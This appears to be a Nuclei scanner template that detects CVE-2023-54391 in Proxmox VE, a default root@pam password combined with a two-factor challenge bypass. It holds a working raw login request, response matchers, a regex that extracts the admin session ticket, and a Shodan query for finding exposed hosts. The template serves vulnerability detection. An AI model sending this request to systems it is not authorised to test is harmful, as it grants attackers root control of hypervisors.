Proxmox VE - Default Credentials with TFA Bypass

id: CVE-2023-54391

info:
  name: Proxmox VE - Default Credentials with TFA Bypass
  author: DhiyaneshDk,0x_Akoko
  severity: critical
  description: |
    Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password "root@pam" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized access, including root privileges.
  remediation: |
    Update to version 8.0.4 or later.
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Proxmox"
  tags: cve,cve2023,proxmox,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        POST /api2/json/access/ticket HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
        Accept: application/json

        username=root%40pam&password=root%40pam&tfa-challenge=NEBUSEC-CHALLENGE

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data"'
          - '"ticket"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: ticket
        part: body
        regex:
          - '"ticket"\s*:\s*"([^"]+)"'
        group: 1